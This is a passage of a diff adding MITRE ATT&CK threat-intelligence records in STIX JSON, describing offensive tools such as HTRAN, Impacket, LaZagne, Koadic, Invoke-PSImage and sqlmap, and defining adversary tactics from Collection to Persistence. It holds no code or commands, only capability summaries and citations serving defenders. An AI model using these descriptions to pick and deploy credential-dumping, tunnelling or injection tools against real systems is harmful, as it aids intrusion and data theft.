commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "labels": [ + "tool" + ], + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0193", + "external_id": "S0193", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)", + "description": "Microsoft. (2016, August 31). Forfiles. Retrieved January 22, 2018.", + "source_name": "Microsoft Forfiles Aug 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "HTRAN", + "x_mitre_aliases": [ + "HTRAN", + "HUC Packet Transmit Tool" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-23T20:04:19.262Z", + "created": "2017-05-31T21:32:32.011Z", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "id": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", + "description": "[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0040", + "external_id": "S0040", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Operation Quantum Entanglement)", + "source_name": "HUC Packet Transmit Tool" + }, + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" + } + ] + }, + { + "type": "tool", + "modified": "2018-10-17T00:14:20.652Z", + "name": "Havij", + "x_mitre_aliases": [ + "Havij" + ], + "x_mitre_version": "1.0", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "id": "tool--fbd727ea-c0dc-42a9-8448-9e12962d1ab5", + "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0224", + "external_id": "S0224", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/", + "description": "Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. Retrieved March 19, 2018.", + "source_name": "Check Point Havij Analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Imminent Monitor", + "x_mitre_aliases": [ + "Imminent Monitor" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-10T13:39:26.417Z", + "created": "2020-05-05T18:45:36.358Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", + "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.(Citation: Imminent Unit42 Dec2019)", + "x_mitre_contributors": [ + "Jose Luis S\u00e1nchez Martinez" + ], + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0434", + "external_id": "S0434", + "source_name": "mitre-attack" + }, + { + "url": "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/", + "description": "Unit 42. (2019, December 2). Imminent Monitor \u2013 a RAT Down Under. Retrieved May 5, 2020.", + "source_name": "Imminent Unit42 Dec2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Impacket", + "x_mitre_aliases": [ + "Impacket" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-07T16:02:38.320Z", + "created": "2019-01-31T01:39:56.283Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "id": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "description": "[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)", + "x_mitre_contributors": [ + "Jacob Wilkin, Trustwave, SpiderLabs" + ], + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0357", + "external_id": "S0357", + "source_name": "mitre-attack" + }, + { + "url": "https://www.secureauth.com/labs/open-source-tools/impacket", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "source_name": "Impacket Tools" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Invoke-PSImage", + "x_mitre_aliases": [ + "Invoke-PSImage" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--b52d6583-14a2-4ddc-8527-87fd2142558f", + "description": "[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)", + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek" + ], + "labels": [ + "tool" + ], + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0231", + "external_id": "S0231", + "source_name": "mitre-attack" + }, + { + "url": "https://github.com/peewpw/Invoke-PSImage", + "description": "Adams, B. (2017, December 17). Invoke-PSImage. Retrieved April 10, 2018.", + "source_name": "GitHub Invoke-PSImage" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "IronNetInjector", + "x_mitre_aliases": [ + "IronNetInjector" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-13T00:20:21.372Z", + "created": "2021-02-24T21:28:44.175Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--b1595ddd-a783-482a-90e1-8afc8d48467e", + "description": "[IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021 )", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0581", + "external_id": "S0581", + "source_name": "mitre-attack" + }, + { + "url": " https://unit42.paloaltonetworks.com/ironnetinjector/", + "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021.", + "source_name": "Unit 42 IronNetInjector February 2021 " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Koadic", + "x_mitre_aliases": [ + "Koadic" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:55:29.911Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0250", + "external_id": "S0250", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Github Koadic)", + "source_name": "Koadic" + }, + { + "url": "https://github.com/zerosum0x0/koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "LaZagne", + "x_mitre_aliases": [ + "LaZagne" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-15T16:56:52.156Z", + "created": "2019-01-30T16:44:59.887Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "id": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) is a post-exploitation, open-source tool used to recover stored passwords on a system. It has modules for Windows, Linux, and OSX, but is mainly focused on Windows systems. [LaZagne](https://attack.mitre.org/software/S0349) is publicly available on GitHub.(Citation: GitHub LaZagne Dec 2018)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0349", + "url": "https://attack.mitre.org/software/S0349" + }, + { + "description": "(Citation: GitHub LaZange Dec 2018)", + "source_name": "LaZagne" + }, + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Lslsass", + "x_mitre_aliases": [ + "Lslsass" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:59:48.036Z", + "created": "2017-05-31T21:33:10.962Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--2fab555f-7664-4623-b4e0-1675ae38190b", + "description": "[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. 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Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "MCMD", + "x_mitre_aliases": [ + "MCMD" + ], + "x_mitre_version": "1.0", + "modified": "2020-08-20T14:52:23.369Z", + "created": "2020-08-13T17:15:25.702Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--975737f1-b10d-476f-8bda-3ec26ea57172", + "description": "[MCMD](https://attack.mitre.org/software/S0500) is a remote access tool that provides remote command shell capability used by [Dragonfly 2.0](https://attack.mitre.org/groups/G0074).(Citation: Secureworks MCMD July 2019)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0500", + "external_id": "S0500", + "source_name": "mitre-attack" + }, + { + "url": "https://www.secureworks.com/research/mcmd-malware-analysis", + "description": "Secureworks. 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(2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "source_name": "Trend Micro Muddy Water March 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Responder", + "x_mitre_aliases": [ + "Responder" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--a1dd2dbd-1550-44bf-abcc-1a4c52e97719", + "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. 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Retrieved February 4, 2019.", + "source_name": "SensePost NotRuler" + } + ] + }, + { + "type": "tool", + "modified": "2020-08-12T21:37:53.804Z", + "name": "SDelete", + "x_mitre_aliases": [ + "SDelete" + ], + "x_mitre_version": "1.2", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "description": "[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. 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[ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0445", + "external_id": "S0445", + "source_name": "mitre-attack" + }, + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. 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(Citation: Microsoft Tasklist)", + "labels": [ + "tool" + ], + "created": "2017-05-31T21:32:39.233Z", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0057", + "external_id": "S0057", + "source_name": "mitre-attack" + }, + { + "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx", + "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.", + "source_name": "Microsoft Tasklist" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Tor", + "x_mitre_aliases": [ + "Tor" + ], + "x_mitre_version": "1.1", + "modified": "2020-05-13T22:59:15.727Z", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "id": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "description": "[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. 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Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", + "source_name": "Dingledine Tor The Second-Generation Onion Router" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "UACMe", + "x_mitre_aliases": [ + "UACMe" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507", + "description": "[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. 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(Citation: TechNet Schtasks)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0111", + "external_id": "S0111", + "source_name": "mitre-attack" + }, + { + "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx", + "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", + "source_name": "TechNet Schtasks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "spwebmember", + "x_mitre_aliases": [ + "spwebmember" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-29T19:54:46.007Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", + "description": "[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0227", + "external_id": "S0227", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "source_name": "spwebmember" + }, + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "source_name": "NCC Group APT15 Alive and Strong" + } + ] + }, + { + "type": "tool", + "modified": "2018-10-17T00:14:20.652Z", + "name": "sqlmap", + "x_mitre_aliases": [ + "sqlmap" + ], + "x_mitre_version": "1.0", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "id": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", + "description": "[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0225", + "external_id": "S0225", + "source_name": "mitre-attack" + }, + { + "url": "http://sqlmap.org/", + "description": "Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.", + "source_name": "sqlmap Introduction" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "xCmd", + "x_mitre_aliases": [ + "xCmd" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b", + "description": "[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)", + "labels": [ + "tool" + ], + "created": "2017-05-31T21:33:11.941Z", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0123", + "external_id": "S0123", + "source_name": "mitre-attack" + }, + { + "url": "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/", + "description": "Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.", + "source_name": "xCmd" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Collection", + "description": "The adversary is trying to gather data of interest to their goal.\n\nCollection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives. Frequently, the next goal after collecting data is to steal (exfiltrate) the data. Common target sources include various drive types, browsers, audio, video, and email. Common collection methods include capturing screenshots and keyboard input.", + "x_mitre_shortname": "collection", + "modified": "2019-07-19T17:44:53.176Z", + "id": "x-mitre-tactic--d108ce10-2419-4cf9-a774-46161d6c6cfe", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0009", + "url": "https://attack.mitre.org/tactics/TA0009" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Command and Control", + "description": "The adversary is trying to communicate with compromised systems to control them.\n\nCommand and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim\u2019s network structure and defenses.", + "x_mitre_shortname": "command-and-control", + "modified": "2019-07-19T17:45:30.644Z", + "id": "x-mitre-tactic--f72804c5-f15a-449e-a5da-2eecd181f813", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0011", + "url": "https://attack.mitre.org/tactics/TA0011" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Credential Access", + "description": "The adversary is trying to steal account names and passwords.\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.", + "x_mitre_shortname": "credential-access", + "modified": "2019-07-19T17:43:41.967Z", + "id": "x-mitre-tactic--2558fd61-8c75-4730-94c4-11926db2a263", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0006", + "url": "https://attack.mitre.org/tactics/TA0006" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Defense Evasion", + "description": "The adversary is trying to avoid being detected.\n\nDefense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics\u2019 techniques are cross-listed here when those techniques include the added benefit of subverting defenses. ", + "x_mitre_shortname": "defense-evasion", + "modified": "2019-07-19T17:43:23.473Z", + "id": "x-mitre-tactic--78b23412-0651-46d7-a540-170a1ce8bd5a", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0005", + "url": "https://attack.mitre.org/tactics/TA0005" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Discovery", + "description": "The adversary is trying to figure out your environment.\n\nDiscovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what\u2019s around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective. ", + "x_mitre_shortname": "discovery", + "modified": "2019-07-19T17:44:13.228Z", + "id": "x-mitre-tactic--c17c5845-175e-4421-9713-829d0573dbc9", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0007", + "url": "https://attack.mitre.org/tactics/TA0007" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Execution", + "description": "The adversary is trying to run malicious code.\n\nExecution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery. ", + "x_mitre_shortname": "execution", + "modified": "2019-07-19T17:42:06.909Z", + "id": "x-mitre-tactic--4ca45d45-df4d-4613-8980-bac22d278fa5", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0002", + "url": "https://attack.mitre.org/tactics/TA0002" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Exfiltration", + "description": "The adversary is trying to steal data.\n\nExfiltration consists of techniques that adversaries may use to steal data from your network. Once they\u2019ve collected data, adversaries often package it to avoid detection while removing it. This can include compression and encryption. Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.", + "x_mitre_shortname": "exfiltration", + "modified": "2019-07-19T17:45:12.806Z", + "id": "x-mitre-tactic--9a4e74ab-5008-408c-84bf-a10dfbc53462", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0010", + "url": "https://attack.mitre.org/tactics/TA0010" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Impact", + "description": "The adversary is trying to manipulate, interrupt, or destroy your systems and data.\n \nImpact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes. Techniques used for impact can include destroying or tampering with data. In some cases, business processes can look fine, but may have been altered to benefit the adversaries\u2019 goals. These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.", + "x_mitre_shortname": "impact", + "modified": "2019-07-25T18:42:23.222Z", + "id": "x-mitre-tactic--5569339b-94c2-49ee-afb3-2222936582c8", + "created": "2019-03-14T18:44:44.639Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/tactics/TA0040", + "external_id": "TA0040", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Initial Access", + "description": "The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.", + "x_mitre_shortname": "initial-access", + "modified": "2019-07-19T17:41:41.425Z", + "id": "x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0001", + "url": "https://attack.mitre.org/tactics/TA0001" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Lateral Movement", + "description": "The adversary is trying to move through your environment.\n\nLateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier. ", + "x_mitre_shortname": "lateral-movement", + "modified": "2019-07-19T17:44:36.953Z", + "id": "x-mitre-tactic--7141578b-e50b-4dcc-bfa4-08a8dd689e9e", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0008", + "url": "https://attack.mitre.org/tactics/TA0008" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Persistence", + "description": "The adversary is trying to maintain their foothold.\n\nPersistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems, such as replacing or hijacking legitimate code or adding startup code. 